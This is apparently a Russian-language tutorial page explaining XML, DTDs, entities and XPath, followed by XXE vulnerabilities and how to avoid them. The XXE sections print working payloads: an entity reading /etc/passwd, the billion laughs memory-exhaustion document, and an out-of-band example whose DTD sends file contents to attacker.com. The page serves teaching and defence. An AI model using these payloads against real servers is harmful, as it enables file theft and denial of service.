Веб-безопасность/Уязвимости XXE
Содержание
- 1 XML
- 2 XXE
- 3 Ещё немного XML
- 4 XXE
- 5 Ссылки
XML
XML (eXtensible Markup Language) - расширяемый язык разметки. Предназначен для передачи данных.
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Напоминание</heading>
<body>Не забудь обо мне в эти выходные!</body>
</note>
Сходства и различия XML и HTML
- XML - 1998 год, HTML - 1992 год
- XML - задача передачи данных, HTML - отображение данных
- XML - теги не предопределены, HTML - теги предопределены
- XML нужно закрывать теги (нет автодополнение, как в HTML)
- Оба имеют древовидную структуру
и многие другие сходства и различия
Структура XML документа
XML документы формируют древовидную структуру. У каждого XML документа обязан быть корень.
<корневой>
<потомок>
<подпотомок>.....</подпотомок>
</потомок>
</корневой>
Пример:
<bookstore>
<book category="COOKING">
<title lang="en">Everyday Italian</title>
<author>Giada De Laurentiis</author>
<year>2005</year>
<price>30.00</price>
</book>
<book category="CHILDREN">
<title lang="en">Harry Potter</title>
<author>J K. Rowling</author>
<year>2005</year>
<price>29.99</price>
</book>
</bookstore>
его дерево:
Синтаксис XML
Отметим некоторые особенности синтксиса XML:
- В XML нельзя опускать закрывающий тег. Абсолютно все элементы должны закрываться.
<p>Это неправильно
<p>Это правильно</p>
- Теги XML являются регистрозависимыми.
<Message>Это неправильно</message>
<message>Это правильно</message>
- XML элементы должны соблюдать корректную вложенность.
<b><i>Это жирный и курсивный текст, такое иногда работает в html, но никогда в xml</b></i>
<b><i>Это жирный и курсивный текст, корректная вложенность тегов</i></b>
XML пролог
Пример:
<?xml version="1.0" encoding="UTF-8"?>
Здесь version - версия xml, encoding - кодировка xml-документа. Пролог не обязателен, но если есть, то должен быть первой строкой документа. Если пролога нет, будет считаться, что используется версия XML 1.0. UTF-8 — кодировка XML документов по умолчанию.
Атрибуты тегов
Пример:
<note date="12/11/2007">
date - пример атрибута тега. Значение атрибута тега обязано быть в кавычках.
Комментарии
Комментарии в XML такие же, как и в HTML.
<!-- Это комментарий -->
В XML пробелы сохраняются, в HTML несколько последовательных пробельных символов усекаются до одного.
Синтаксически верный XML документ
Если XML документ составлен в соответствии с приведенными синтаксическими правилами, то говорят, что это "синтаксически верный" XML документ.
XML элементы
XML элемент — это все от (и включая) начального тега элемента до (и включая) конечного тега элемента. Элемент может содержать:
- другие элементы
- текст
- атрибуты
- или набор из всего выше названного
Например, в следующем XML документе 11 элементов:
<bookstore>
<book category="CHILDREN">
<title>Harry Potter</title>
<author>J K. Rowling</author>
<year>2005</year>
<price>29.99</price>
</book>
<book category="WEB">
<title>Learning XML</title>
<author>Erik T. Ray</author>
<year>2003</year>
<price>39.95</price>
</book>
</bookstore>
Пространства имен
Рассмотрим два примера ниже:
<table>
<tr>
<td>Яблоки</td>
<td>Бананы</td>
</tr>
</table>
<table>
<name>Африканский кофейный столик</name>
<width>80</width>
<length>120</length>
</table>
В первом случае XML код содержит информацию о HTML таблице, втором случае XML код содержит информацию о столе (предмет мебели), который по англ. тоже table. Если эти два фрагмента кода XML будут сведены вместе, то возникнет конфликт имен. Так как оба документа содержат элемент table, хотя и с разным контентом и значением. В XML избежать конфликта имен можно при помощи префикса имени элемента.
<root>
<h:table xmlns:h="http://www.w3.org/TR/html4/">
<h:tr>
<h:td>Яблоки</h:td>
<h:td>Бананы</h:td>
</h:tr>
</h:table>
<f:table xmlns:f="http://www.w3schools.com/furniture">
<f:name>Африканский кофейный столик</f:name>
<f:width>80</f:width>
<f:length>120</f:length>
</f:table>
</root>
При использовании в XML префиксов необходимо определить, так называемое, пространство имен префикса. Пространство имен определяется благодаря атрибуту xmlns в начальном теге элемента. Декларация пространства имен имеет следующий синтаксис - xmlns:префикс="URI".
Унифицированный идентификатор ресурса (URI) - это символьная строка, идентифицирующая интернет-ресурс. В наиболее общей форме URI является единым указателем ресурса (URL), который идентифицирует доменный адрес в интернете. Другой, более частный вид URI — единообразное имя ресурса (URN).
Предопределенные сущности
Некоторые символы в XML имеют особые значения. Если вы поместите, например, символ "<" внутри XML элемента, то будет сгенерирована ошибка, так как парсер интерпретирует его, как начало нового элемента.
<message>если жалование < 1000</message>
Чтобы ошибка не возникала, нужно заменить "<" на его сущность:
<message>если жалование < 1000</message>
В XML существует 5 предопределенных сущностей:
< | < |
> | > |
& | & |
&' | ' |
" | " |
Подробнее про сущности мы поговорим ниже.
Валидные XML документы
XML документ с корректным синтаксисом называется "правильно сформированным" или "синтаксически верным". Валидный XML документ не то же самое, что и синтаксически верный XML документ, это лишь необходимое условие. "Валидный" XML документ кроме всего прочего должен соответствовать определенному типу документов. Типы определений документа:
- Более новый тип определений, основанный на XML, - XML схема.
- Оригинальное определение типа документа (DTD)
XML-Schema
XML схемы описывают структуру XML документа. Приведем пример такого описания:
<xs:element name="note"> - определяет элемент "note"
<xs:complexType> - у элемента "note" комплексный тип
<xs:sequence> - последовательность элементов
<xs:element name="to" type="xs:string"/> - у элемента "to" строковый тип (текст)
<xs:element name="from" type="xs:string"/>
<xs:element name="heading" type="xs:string"/>
<xs:element name="body" type="xs:string"/>
</xs:sequence>
</xs:complexType>
</xs:element>
- XML схема пишется на XML
- XML схема легко расширяется
- XML схема поддерживает типы данных
- XML схема поддерживает пространства имен
Document type definition
Цель DTD состоит в том, чтобы определить структуру XML документа. Это делается путем определения списка допустимых элементов:
<!DOCTYPE note [ - !DOCTYPE note определяет, что
корневым элементом документа является note
<!ELEMENT note (to,from,heading,body)> - !ELEMENT note определяет, что элемент note содержит четыре элемента: to, from, heading, body
<!ELEMENT to (#PCDATA)> - !ELEMENT to определяет, что элемент to должен быть типа "#PCDATA"
<!ELEMENT from (#PCDATA)> - !ELEMENT from определяет, что элемент from должен быть типа "#PCDATA"
<!ELEMENT heading (#PCDATA)> - !ELEMENT heading определяет, что элемент heading должен быть типа "#PCDATA"
<!ELEMENT body (#PCDATA)>]> - "!ELEMENT body определяет, что элемент body должен быть типа "#PCDATA"
С точки зрения DTD все XML (и HTML) документы состоят из следующих строительных блоком:
- Элементы
- Атрибуты
- Сущности
- PCDATA
- CDATA
PCDATA и CDATA
PCDATA — это текст, который будет анализироваться парсером. Т.е. парсер будет проверять этот текст на наличие сущностей и другой разметки.
CDATA — это текст, который не будет анализироваться парсером. Теги внутри такого текста не будут восприняты, как вложенная разметка, а сущности не будут раскрыты. Секция CDATA начинается с символов "<![CDATA[" и заканчивается "]]>" Пример:
<script>
<![CDATA[
function matchwo(a,b) {
if (a < b && a < 0) then {
return 1;
} else {
return 0;
}
}
]]>
</script>
Элементы
В DTD элементы XML определяются при помощи декларации элементов следующим образом:
<!ELEMENT имя-элемента категория>
или
<!ELEMENT имя-элемента (содержимое-элемента)>
Пустые элементы декларируются при помощи ключевого слова категории EMPTY:
<!ELEMENT имя-элемента EMPTY>
Примечание: пустой XML-элемент можно задать двумя эквивалентными способами:
<element></element>
или
<element />
Элементы, содержащие только анализируемые символьные данные, декларируются при помощи ключевого слова #PCDATA в скобках:
<!ELEMENT from (#PCDATA)>
Элементы, декларированные с ключевым словом категории ANY, могут содержать любую комбинацию анализируемых данных:
<!ELEMENT note ANY>
Элементы с одним или более потомком декларируются с именем дочернего элемента в скобках:
<!ELEMENT note (to,from,heading,body)>
Декларирование от нуля до одного элемента:
<!ELEMENT note (message?)>
Декларирование альтернативных элементов:
<!ELEMENT note (to,from,header,(message|body))>
Декларирование смешанного контента:
<!ELEMENT note (#PCDATA|to|from|header|message)*>
Декларация единичного элемента:
<!ELEMENT note (message)>
Декларация минимум одного элемента:
<!ELEMENT note (message+)>
Декларирование от нуля и больше элементов:
<!ELEMENT note (message*)>
Декларация атрибутов имеет следующий синтаксис:
<!ATTLIST имя-элемента имя-атрибута тип-атрибута значение-атрибута>
Пример:
<!ATTLIST payment type CDATA "check">
Атрибуты
Параметр "тип-атрибута" может принимать следующие значения:
CDATA | Значение — символьные данные |
(en1|en2|..) | Значение должно быть из перечисленного списка |
ID | Значение — уникальный идентификатор |
IDREF | Значение — идентификатор другого элемента |
IDREFS | Значение — список других идентификаторов |
NMTOKEN | Значение — допустимое XML имя |
NMTOKENS | Значение — список допустимых XML имен |
ENTITY | Значение — сущность |
ENTITIES | Значение — список сущностей |
NOTATION | Значение — имя нотации |
xml: | Значение — предопределенное xml значение |
Параметр "значение-атрибута" может принимать следующие значение:
value | Значение атрибута по умолчанию |
#REQUIRED | Атрибут обязателен |
#IMPLIED | Атрибут не обязателен |
#FIXED value | Атрибут имеет фиксированное значение |
- Value:
DTD:
<!ELEMENT square EMPTY>
<!ATTLIST square width CDATA "0">
XML:
<square width="100" />
- #REQUIRED
Синтаксис:
<!ATTLIST имя-элемента имя-атрибута тип-атрибута #REQUIRED>
DTD:
<!ATTLIST person number CDATA #REQUIRED>
XML:
<person number="5677" />
Неправильный XML:
<person />
- #IMPLIED:
Синтаксис:
<!ATTLIST имя-элемента имя-атрибута тип-атрибута #IMPLIED>
DTD:
<!ATTLIST contact fax CDATA #IMPLIED>
XML:
<contact fax="555-667788" />
<contact />
- #FIXED:
Синтаксис:
<!ATTLIST имя-элемента имя-атрибута тип-атрибута #FIXED "значение">
DTD:
<!ATTLIST sender company CDATA #FIXED "Microsoft">
XML:
<sender company="Microsoft" />
Неправильный XML:
<sender company="MSiter" />
- Перечисленные значения атрибута:
Синтаксис:
<!ATTLIST имя-элемента имя-атрибута (en1|en2|..) значение-по-умолчанию>
DTD:
<!ATTLIST payment type (check|cash) "cash">
XML:
<payment type="check" />
или:
<payment type="cash" />
Сущности
Сущности — переменные, которые используются для определения синонимов стандартных текстовых строк или специальных символов.Сущности могут декларироваться как внутри кода, так и внешнем ресурсом.
- Пример сущности, объявленной внутри кода (internal entity):
Синтаксис:
<!ENTITY имя-сущности "значение-сущности">
DTD:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright MSiter.">
XML:
<author>&writer;©right;</author>
- Пример внешней сущности (external entity):
Синтаксис:
<!ENTITY имя-сущности SYSTEM "URI/URL">
DTD:
<!ENTITY writer SYSTEM "http://anysite.org/entities.dtd">
<!ENTITY copyright SYSTEM "http://anysite.org/entities.dtd">
XML:
<author>&writer;©right;</author>
Парсеры
Все современные браузеры имеют встроенный XML парсер. Парсеры бывают валидирующими и невалидирующими.
Валидирующий парсер - парсер, который проверяет на соответствие правилам, описанных в XML-схеме или DTD. Валидирующий парсер обязан включить в документ содержимое внешнего файла, невалидирующий — по желанию. На практике это свойство «по желанию» выполняется практически у всех популярных парсеров.
SOAP и XML-RPC
XML-RPC (Extensible Markup Language Remote Procedure Call) — стандарт/протокол вызова удалённых процедур, использующий XML для кодирования своих сообщений и HTTP в качестве транспортного механизма.
SOAP (Simple Object Access Protocol) - протокол обмена структурированными сообщениями в распределённой вычислительной среде. Расширение протокола XML-RPC. В SOAP запрещено подключение внешних сущностей, XML-RPC - не запрещено.
XXE
XXE - XML eXternal Entity - одна из известнейших уязвимостей в Интернете. Занимает четвёртую строчка рейтинга в OWASP Top 10. XXE - это атака на приложение, которое производит обработку XML. Она возможна, когда XML-парсер поддерживает возможность обрабатывать внешние сущности. Приводит к раскрытию конфиденциальной информации, чтению файлов, SSRF.
SSRF (Server-Side Request Forgery) - это возможность передавать url, по которому впоследствии перейдет уязвимый сервер.
Пример
Пусть есть сайт-форум. Предположим, что вы написали пост и отправили его на сайт. Будем считать, что для общения с сервером наше клиентское приложение отправляет XML-документы с логином и вашим сообщением.
<?xml version="1.0" encoding="utf-8"?>
<user>
<Login>Vasya123</Login>
<Massage>всем привет!</Massage>
</user>
Далее, приложение на сервере присылает всем XML-документ с новым сообщением. Попробуем подключить внешнюю сущность.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user>
<Login>Vasya123</Login>
<Massage>&xxe;</Massage>
</user>
Нам вернется /etc/passwd.
Есть три варианта того, как реализовано приложение:
- Веб-сервисы, реализующие протокол SOAP. В спецификации явно указано, что запрещено подключать внешние сущности. НО, не все приложения, реализующие протокол SOAP, полностью реализуют спецификацию.
- Приложения, реализующие протокол XML-RPC. В спецификации не запрещено подключать внешние сущности.
- Custom-приложения, работающие с XML. Высока вероятность, что не запрещено подключать внешние сущности. Особенно, если приложение использует свой парсер.
Как избежать XXE на своем сервисе?
- Не использовать XML
- Проверьте возможность подключения DTD схем или External Entities. Если данная возможность включена, явно выключите её
- Примите защитные меры для своего парсера
Ещё немного XML
Сущности
- предопределенные сущности (predefined entities) - заранее определенные сущности, например
<
для<
или—
для—
- внутренние сущности (internal entities) - связывают имя с любым текстовым содержимым, определенным в их декларации
- внешние сущности (external entities) - связывают имя и внешний ресурс
- параметрические сущности (parameter entity) - применяется для описания в DTD (обозн.
%
) - общие сущности (general entity) - применяется в самом XML документе
XPath
- XPath - язык запросов к элементам XML документа
- XPath использует маршрутные выражения для навигации по XML документам
- XPath содержит библиотеку стандартных функций
- XPath - главный элемент в XSLT
XPath использует маршрутные выражения для выбора узлов или узловых наборов в XML документе. Эти маршрутные выражения похожи на те выражения, которые можно увидеть при работе с традиционными файловыми системами. В настоящее время выражения XPath можно использовать в JavaScript, Java, XML схемах, PHP, Python, C и C++, а также во множестве других языках программирования.
Пример
Рассмотрим пример некоторых маршрутных выражений. XML документ:
<?xml version="1.0" encoding="UTF-8"?>
<bookstore>
<book category="COOKING">
<title lang="en">Everyday Italian</title>
<author>Giada De Laurentiis</author>
<year>2005</year>
<price>30.00</price>
</book>
<book category="CHILDREN">
<title lang="en">Harry Potter</title>
<author>J K. Rowling</author>
<year>2005</year>
<price>29.99</price>
</book>
<book category="WEB">
<title lang="en">XQuery Kick Start</title>
<author>James McGovern</author>
<author>Per Bothner</author>
<author>Kurt Cagle</author>
<author>James Linn</author>
<author>Vaidyanathan Nagarajan</author>
<year>2003</year>
<price>49.99</price>
</book>
<book category="WEB">
<title lang="en">Learning XML</title>
<author>Erik T. Ray</author>
<year>2003</year>
<price>39.95</price>
</book>
</bookstore>
Выражение XPath | Результат |
---|---|
/bookstore/book[1] | Выбирает первый элемент book, который является потомком элемента bookstore |
/bookstore/book[last()] | Выбирает последний элемент book, который является потомком элемента bookstore |
/bookstore/book[last()-1] | Выбирает предпоследний элемент book, который является потомком элемента bookstore |
/bookstore/book[position()<3] | Выбирает первые два элемента book, которые являются потомками элемента bookstore |
//title[@lang] | Выбирает все элементы title с атрибутом lang |
//title[@lang='en'] | Выбирает все элементы title с атрибутом lang, который имеет значение 'en' |
/bookstore/book[price>35.00] | Выбирает все элементы book, которые являются потомками элемента bookstore и которые содержать элемент price со значением больше 35.00 |
/bookstore/book[price>35.00]/title | Выбирает все элементы title элементов book элементов bookstore, которые содержать элемент price со значением больше 35.00 |
XInclude
XInclude - механизм включений в XML-документы текстовых файлов или других XML-документов. Рассмотрим пример.
Исходный документ:
<?xml version='1.0' encoding="UTF-8"?>
<document xmlns:xi="http://www.w3.org/2001/XInclude">
<p>Текст моего документа</p>
<xi:include href="copyright.xml"/>
</document>
copyright.xml:
<?xml version='1.0' encoding="UTF-8"?>
<copyright>Все права защищены © 2001-2010</copyright>
Итогом обработки исходного документа процессором XInclude результатом является следующий документ:
<?xml version='1.0' encoding="UTF-8"?>
<document xmlns:xi="http://www.w3.org/2001/XInclude">
<p>Текст моего документа</p>
<copyright>Все права защищены © 2001-2010</copyright>
</document>
XXE
Billion laughs attack
Атака на XML-парсер, цель которой вызвать отказ в обслуживании посредством перегрузки оперативной памяти парсера. Однако стоит учитывать, что некоторые XML-парсеры автоматически ограничивают доступный объем памяти.
Пример:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
Атака на сложные типы файлов
Office Open XML (в частности DOCX) — серия форматов файлов для хранения электронных документов пакетов офисных приложений. Формат представляет собой zip-архив, содержащий текст в виде XML, графику и другие данные. Соответственно, открыв docx-файл архиватором, можно увидеть примерно следующую структуру.
Docx-файл, содержащий запись "Hello world", имеет /word/document.xml следующего вида:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document
...
w:rsidRDefault="006E34D8"><w:pPr><w:rPr><w:lang
w:val="en-US"/></w:rPr></w:pPr><w:r><w:rPr><w:lang
w:val="en-US"/></w:rPr><w:t>Hello world</w:t></w:r><w:bookmarkStart w:id="0"
Пример
Пусть есть сайт, на который можно загружать docx-файлы и просматривать загруженные. Отправим на сайт наш файл, в который добавим описание сущности
и её вызов, изменив имя файла.
Исходный документ:
Измененный документ:
Далее, в момент отображения имени файла, будет обработана сущность &test;
и выедено содержание файла /etc/passwd
.
Ссылки на сущности
Существуют два вида ссылок на сущности (entity references):
- parameter entity references (%) применяется для описания в DTD
- general entity references (&) применяется в самом XML документе
Пример
- парсим DTD
- обнаружена внешняя сущность remote
- remote делает запрос. http://evilhost/evil.xml парсится
- обнаружена внешняя параметрическая сущность payload, читает файл
- обнаружена параметрическая сущность param1, создает внутреннюю сущность internal
- инъекция подготовлена, но файл пока не прочитан
- файл evil.xml валидный и заменяет сущность remote в изначальном файле
- происходит ссылка на параметрическую param1 и мы получаем контроль над сущностью internal, которая не является внешней
Out-of-band XXE
Атаки XXE бывают двух видов: in-band и out-of-band. Первый тип позволяет атакующем сразу получить ответ на полезную нагрузку. В случае out-of-band (или blind) XXE немедленного вывода нет.
Схема OOB XXE:
Пример
Запрос:
POST http://example.com/xml HTTP/1.1
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM
"file:///etc/passwd">
<!ENTITY % dtd SYSTEM
"http://attacker.com/evil.dtd">
%dtd;
]>
<data>&send;</data>
attacker.com/evil.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?collect=%file;'>">
%all;
Атака происходит следующим образом:
- XML-парсер обрабатывает параметрическую сущность
%file
, в которую загружается содержимое файла/etc/passwd
- XML-парсер совершает запрос к DTD файлу атакующего по адресу http://attack.example.com/evil.dtd
- XML-парсер анализирует DTD файл атакующего, параметрическая сущность
%all
создает обычную сущность&send
, которая содержит URL. Данный URL включает содержимое файла (http://attacker.com/collect.php?collect=root:!:0:0::/:/usr/bin/ksh…) - после того, как URL будет сконструировано, XML-парсер обработает сущность
&send
, которая совершить запрос к серверу атакующего. - атакующий может обратиться к логам запросов своего сервера и реконструировать содержимое файла
Стоит учитывать, что если в файле будет содержаться недопустимые для URL символы, то это может привести к неполному выводу.